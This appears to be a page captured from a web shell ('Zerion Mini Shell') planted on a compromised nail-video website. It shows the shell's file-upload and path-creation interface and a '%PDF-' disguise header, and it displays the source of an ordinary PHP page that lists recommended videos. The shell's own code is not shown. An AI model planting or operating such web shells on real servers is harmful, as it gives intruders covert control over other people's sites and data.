%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/recommended-videos.php

<?php

require_once 'config/config.php';

$p['title'] = 'Nail videos with recommedation of the Nail tube editors.';
$p['desc'] = 'Selected and recommended Step by Step videos by the editors of the Nail Tube.com.';
$p['keywords'] = 'nail, nails, nail artist, nail technicians, recommended, selected';
$p['pagename'] = 'Recommended videos';

if(!empty($uri[1])) {
    $u = explode('.', $uri[1]);
    $_GET['id'] = end(explode('-', $u[0]));
	if(!is_numeric($_GET['id'])){
		$_GET['view'] = $_GET['id'];
		unset($_GET['id']);
	}
}

$page = new Page(Registry::get('site'), false, $p);
Registry::set('page', $page);
$page->assign('content', content($uri));
$page->display('page.tpl.html');

////////////////////////////////////////////////////////////////////////////////

function content($uri)
{
	$db = Registry::get('db');

    $c = new Content();
	
	//kategória adatai
	
	$kategoria['nev'] = 'Recommended videos';
	
	$kategoria['szoveg'] = 'A műköröm.tv honlap kiemelten ajánlott videói.';
	
	$kategoria['control'] = 'false';
	
	//kategória adatai
	
	$c->assign('kategoria', $kategoria);
	
	if($videok = videok($c)){
		//$c->assign('videok', $videok);
	} else {
		//eldob
		header("Location: " . Registry::get('wwwroot') . "/csatornak");
		die;
	}
	
    return $c->fetch('csatorna.tpl.html');
}

function videok($c)
{
	$db = Registry::get('db');
	
	$sql = "SELECT v.id, v.cim, v.datum, v.hossz, COUNT(vn.id) as nezettseg, ka.url, vtvszf.szazalek as ertekeles, k.file, k.id as kep_id
			FROM video v 
			" . $db->joinDefPic('video', 'v') . "
			LEFT JOIN video_nezettseg vn ON vn.video_id = v.id
			LEFT JOIN kategoria ka ON ka.id = v.kategoria_id
			LEFT JOIN vt_video_szavazas_full vtvszf ON vtvszf.video_id = v.id
			WHERE v.storno = 'f'
				AND v.aktiv = 't'
				AND v.ajanlott = 't'
				AND ka.storno = 'f'
			GROUP BY v.id 
			ORDER BY v.sorrend";
			
	$pager = new Pager;
	$limit = 20;
	$r = $db->PageExecute($sql, $limit, $pager->current);

	$pager->setup($r->LastPageNo(), $r->RecordCount(), $limit);
	$c->assign('n', $r->_maxRecordCount - ($limit * ($pager->current - 1)));
	$c->assign('pager', $pager->show('pager.tpl.html'));

	$videok = $r->GetArray();

	
	if(!empty($videok)){
		foreach($videok as $key=>$val){
			$videok[$key]['url'] = $val['url'] . '/' . String::fancyurl($val['cim']) . '-' . $val['id'];
			$videok[$key]['hossz'] = substr($val['hossz'], 0, 5);
			$videok[$key]['ertekeles'] = intval($val['ertekeles']);
			$videok[$key]['datum'] = str_replace('-','.',$val['datum']);
		}
		
		$c->assign('videok', $videok);
		
		return true;
	} else {
		return false;
	}
}


?>

Zerion Mini Shell 1.0